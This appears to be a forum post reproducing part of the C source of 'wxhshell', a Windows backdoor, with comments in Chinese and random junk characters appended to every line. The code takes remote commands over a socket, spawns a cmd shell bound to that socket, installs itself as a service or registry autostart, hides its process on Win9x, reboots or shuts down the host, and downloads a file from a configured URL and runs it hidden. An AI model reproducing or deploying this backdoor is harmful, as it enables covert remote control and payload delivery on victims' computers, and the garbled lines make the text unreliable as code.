  else pO  Iq%0]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oc].@Jy  
  } (:V>Hjt  
  else { ^[E' 1$D  
Ox!U8g8c  
    switch(cmd[0]) { lH^^77"4Qo  
  %.v{N6  
  // 帮助 DhLqhME53  
  case '?': { sAn0bX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w>fdQ!RdP  
    break; /PBaIoJE  
  } @!N-RQ&A  
  // 安装 }TQ{`a@  
  case 'i': { Am0{8 '  
    if(Install()) Qhi '') Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y/<lWbj*A  
    else '+>fFM,*B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F7L&=K$2y  
    break; d6{Gt"  
    } f*{ YFg?*&  
  // 卸载 sxKf&p;  
  case 'r': { ?^mi3VM  
    if(Uninstall())  MTER(L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u=F+(NE"  
    else  9fnA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YYEJph@06q  
    break; %=AxJp!a  
    } zJDSbsc$%  
  // 显示 wxhshell 所在路径 Z v_.na/^K  
  case 'p': { c}*2$1  
    char svExeFile[MAX_PATH]; %D$,;{ew  
    strcpy(svExeFile,"\n\r"); V-I(WzR9y  
      strcat(svExeFile,ExeFile); XfE?C:v   
        send(wsh,svExeFile,strlen(svExeFile),0); 1be %G [*  
    break; 1axQ)},o@p  
    } Ab%;Z5$fr  
  // 重启 EFuvp8^y  
  case 'b': { W!blAkM%i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mME 4 l  
    if(Boot(REBOOT)) jr7C}B-Fb^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(zsOeX  
    else { H7U li]e3  
    closesocket(wsh); p^nL&yIW,%  
    ExitThread(0); E9|eu\  
    } n,HE0Zn]Y_  
    break; OH^N" L  
    } jN-vY<?h]  
  // 关机 P7ph}mB  
  case 'd': { aSuM2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,:fl?x.X  
    if(Boot(SHUTDOWN)) $&s=68  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Om'+]BBN  
    else { 9 3+"D`  
    closesocket(wsh); h)1qp Qj  
    ExitThread(0); c^rOImZ  
    } 9=w|)p )  
    break; +uWDP .  
    } "'8KV\/D  
  // 获取shell )#a[-.OI  
  case 's': { JXG"M#{  
    CmdShell(wsh); &zQ2M#{82  
    closesocket(wsh); <Llp\XcZ  
    ExitThread(0); (Rk_-9_E.  
    break; scuHmY0  
  } , P'P^0qJ  
  // 退出 >&g}7d%  
  case 'x': { '}g*!jL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +X`V|E,no  
    CloseIt(wsh); I)q,kP@yY  
    break; _LAS~x7,  
    } HkV1sT  
  // 离开 IX: 25CEI2  
  case 'q': { 2)#K+O3c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Y0"Cejq  
    closesocket(wsh); PiV7*F4qI.  
    WSACleanup(); n9pN6,o+  
    exit(1); 1Gt/Tq$_b  
    break; <PPNhf8  
        } I/VxZ8T  
  } D'Z|}(d&  
  } l no vykR  
;U1UFqZ`  
  // 提示信息 kyAXRwzI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O3N0YGhJ  
} +,:du*C  
  } `c/*H29  
-/_L*oYli  
  return; AC O)Dt(Y  
} 8<mjh0F-,  
sS&Z ,A  
// shell模块句柄 OA:%lC!  
int CmdShell(SOCKET sock) {T"0DSV   
{ h2ZkCML  
STARTUPINFO si; |/g W_;(  
ZeroMemory(&si,sizeof(si)); -~eJn'W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mcz+ P |  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,+qVu,  
PROCESS_INFORMATION ProcessInfo; 22kpl)vbU  
char cmdline[]="cmd"; 2,lqsd:xM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "#v=IJy&r  
  return 0; vHAg-Av c  
} 7iHK_\tn  
2L AYDaS  
// 自身启动模式 V`adWXu  
int StartFromService(void) h8\  T  
{ th6+2&B6  
typedef struct Qn ^bVhG+  
{ o7B[R) 4  
  DWORD ExitStatus; 5L:1A2Z?c  
  DWORD PebBaseAddress; |AlR^N  
  DWORD AffinityMask; Tirux ;  
  DWORD BasePriority; 2tROT][J%  
  ULONG UniqueProcessId; :{NC-%4o0  
  ULONG InheritedFromUniqueProcessId; K:' q>D@  
}   PROCESS_BASIC_INFORMATION; ZEYgK)^  
{]z4k[;.h  
PROCNTQSIP NtQueryInformationProcess; Z~A@o ""F  
|uW:r17  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vP7K9K x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r>jC_7  
)BfT7{WN  
  HANDLE             hProcess; 0Ok,oW {  
  PROCESS_BASIC_INFORMATION pbi; j CTAKaq  
Qu,8t 8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7PR#(ftz  
  if(NULL == hInst ) return 0; 9N%JP+<89  
0 ugT2%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v/*Y#(X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JbB}y'c4}=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $A3<G-4O  
47r_y\U h  
  if (!NtQueryInformationProcess) return 0; c9R 5w.t:  
dD<fn9t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {cpEaOyOM  
  if(!hProcess) return 0; &C>/L;  
fC}R4f7C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6h3HDFS7s  
PA6=wfc  
  CloseHandle(hProcess); mAk{"65V  
?Qb<-~~ j1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ??hJEE  
if(hProcess==NULL) return 0; KJE[+R H+z  
iJnU%  
HMODULE hMod; Yxv9  
char procName[255]; ^I KO2Ft  
unsigned long cbNeeded; {_RWVVVe  
x\2?ym@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }HEvr)v9  
$./bjV%  
  CloseHandle(hProcess); Vtppuu$  
t6c<kIQ:-O  
if(strstr(procName,"services")) return 1; // 以服务启动 jkiTj~WE-  
zo;^m|  
  return 0; // 注册表启动 ]a2W e`  
} q_ =b<.;  
5 ,0d  
// 主模块 6.t',LTB  
int StartWxhshell(LPSTR lpCmdLine) fAZiC+  
{ JO14KY*%  
  SOCKET wsl; -st7_3  
BOOL val=TRUE; (h']a!  
  int port=0; (]/9-\6(#  
  struct sockaddr_in door; Cw5%\K$=  
E^w:KC2@  
  if(wscfg.ws_autoins) Install(); 5q@LxDy,b  
?}Z1(it0  
port=atoi(lpCmdLine); K!D o8|  
JcJmds  
if(port<=0) port=wscfg.ws_port; zb6ju]2  
#6Xs.*b5C  
  WSADATA data; T+LJ* I4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8\<jyJ  
R E1 /"[t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i` A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F>]#}_  
  door.sin_family = AF_INET; G ;?qWB,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _<ut)G^9  
  door.sin_port = htons(port); -ZW0k@5g  
bIt=v)%$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dQy>Nmfy  
closesocket(wsl); (Lh#`L?x  
return 1; [fu!AIQs  
} 9Qj2W  
{|9}+ @5Q1  
  if(listen(wsl,2) == INVALID_SOCKET) { S)He$B$pp  
closesocket(wsl); 0;sRJ  
return 1; }aB#z<B6  
} QbYc[8-[  
  Wxhshell(wsl); P+e KZo  
  WSACleanup(); m9M FwfZ  
_RMQy~&b  
return 0; fbZibcQ%k  
SM[{BH<  
} OLq 0V3m  
,xJrXPW  
// 以NT服务方式启动 ^[TV;9I*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [n,?WwC  
{ 2k7bK6=nm  
DWORD   status = 0; zH)_vW  
  DWORD   specificError = 0xfffffff; Q/_[--0&#  
V6iL5&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z+s%;f;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =4C}{IL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )J/HkOj"V  
  serviceStatus.dwWin32ExitCode     = 0; gLj?Ys  
  serviceStatus.dwServiceSpecificExitCode = 0; ic6L9>[  
  serviceStatus.dwCheckPoint       = 0; Mjpo1dw  
  serviceStatus.dwWaitHint       = 0; LR)& [{Kk  
!7H6i#g*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZIxRyo-i  
  if (hServiceStatusHandle==0) return; ^<V9'Ut   
Qqs"?Z,P  
status = GetLastError(); U/MFhD(06  
  if (status!=NO_ERROR) 5$l9@0D.\  
{ XL< )v_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V:K;] h*!  
    serviceStatus.dwCheckPoint       = 0; ,-*iCs<  
    serviceStatus.dwWaitHint       = 0; =7[)'  
    serviceStatus.dwWin32ExitCode     = status; \,W.0#D8v4  
    serviceStatus.dwServiceSpecificExitCode = specificError;  o sdOw8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N} />rD  
    return; 3VCqp13  
  } ,j;PRJ  
HR{s&ho  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u?Hb(xZtg=  
  serviceStatus.dwCheckPoint       = 0; f>iuHR*EXB  
  serviceStatus.dwWaitHint       = 0; ki\uTD`mf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4be> `d5j  
} ^KHLBSc:  
=:$) Z  
// 处理NT服务事件,比如:启动、停止 mX_)b>iW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nsJ:Osq|  
{ TL-i=\{L:d  
switch(fdwControl) ]S /G\z  
{ }OKL z.5  
case SERVICE_CONTROL_STOP: 4 eh=f!(+  
  serviceStatus.dwWin32ExitCode = 0; XI}I.M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rZC3\,W  
  serviceStatus.dwCheckPoint   = 0; uCUu!Vfeg  
  serviceStatus.dwWaitHint     = 0; =y;@?=T  
  { CyTFb$Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z] {@H  
  } o<\6Rm  
  return; ;~ee[W$1  
case SERVICE_CONTROL_PAUSE: # cWHDRLX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [\HQPo'S  
  break; QWhp:] }  
case SERVICE_CONTROL_CONTINUE: ./iXyta  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .ev\M0Dt  
  break; 75Fp[Q-  
case SERVICE_CONTROL_INTERROGATE: @ R'E?|  
  break; 2]Fu 1  
}; Yk7"XP[Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q x.jCy@  
} b+$o4 l/x  
M7 p8^NL  
// 标准应用程序主函数 59MR|Jt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 03"#J2b  
{ Oy'0I,  
oP-;y&AS  
// 获取操作系统版本 E3tj/4:L  
OsIsNt=GetOsVer(); sN@j5p^jc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c,AZ/t  
cUM_ncYOP  
  // 从命令行安装 3:O+GQ*  
  if(strpbrk(lpCmdLine,"iI")) Install(); !h/dZ`#  
]-rczl|o  
  // 下载执行文件 g5<ZS3tQ  
if(wscfg.ws_downexe) { VS%@)sI|Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B{4"$Mi  
  WinExec(wscfg.ws_filenam,SW_HIDE); JOgmF_(>Z  
} "?+UI   
Yoe les-  
if(!OsIsNt) { @2|G|C/]O}  
// 如果时win9x,隐藏进程并且设置为注册表启动 wK ][qZ ]  
HideProc(); Nq  U9/  
StartWxhshell(lpCmdLine); h+ TB]  
} HMQ 'b(a'  
else |'@V<^GR  
  if(StartFromService()) "1CGO@AXS  
  // 以服务方式启动 i 63?"  
  StartServiceCtrlDispatcher(DispatchTable); h bdEw=r?  
else y!BB7cK6  
  // 普通方式启动 =X<)5IS3  
  StartWxhshell(lpCmdLine); FqL`Kt  
U0zW9jB  
return 0; 3me<~u  
}
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只看该作者 1 发表于: 2006-10-10
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